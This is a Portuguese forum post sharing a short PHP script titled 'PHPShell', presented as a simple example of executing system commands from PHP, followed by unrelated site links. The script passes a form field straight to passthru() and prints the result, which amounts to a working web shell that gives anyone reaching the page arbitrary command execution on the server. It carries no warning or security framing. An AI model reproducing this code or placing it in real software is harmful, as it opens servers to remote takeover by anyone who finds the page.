Executando comandos através do PHP
Publicado por Perfil removido (última atualização em 01/02/2011)
[ Hits: 9.059 ]
Um simples exemplo de como executar syscalls através do PHP. O retorno do comando é impresso na tela.
[]s
<?php /* * To change this template, choose Tools | Templates * and open the template in the editor. */ /** * Description of PHP_CMD_Exec * * @author ox */ ?> <html> <head> <title> PHPShell </title> </head> <body> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post" enctype="multipart/form-data"> <label id="labelCommand" for="inputCommand">Comando: </label> <input type="text" id="inputCommand" name="inputCommand"/> <input type="submit" value="Executar"/> </form> <fieldset> <legend style="font-size: 12px; color: green;">Output</legend> <?php $command = $_POST['inputCommand']; passthru($command); echo $commandReturn; ?> </fieldset> </body> </html>
Crivo de Eratóstenes Simples em PHP
Simulado semelhante ao do vol em PHP!
Classe para gerar calendário em PHP
Gentoo binário em 2026: UEFI, LUKS, Btrfs e Systemd
Trabalhando Nativamente com Logs no Linux
Jogando Daikatana (Steam) com Patch 1.3 via Luxtorpeda no Linux
LazyDocker – Interface de Usuário em Tempo Real para o Docker
Usando dracut e dispensando genkernel no Gentoo + LUKS + Btrfs
Curso GRÁTIS: OCS Inventory NG - Do Deploy ao Hardening com foco em Segurança da Informação!
Instalando fontes via script no Nautilus Scripts no Gnome do Debian 13
O que houve com slackware ??? (5)
Instalar Linux em notebook Sony Vaio VPCEG13EB (9)
Pendrive do Ubuntu 24.04 travando ao tentar fazer a instalação dual bo... (5)









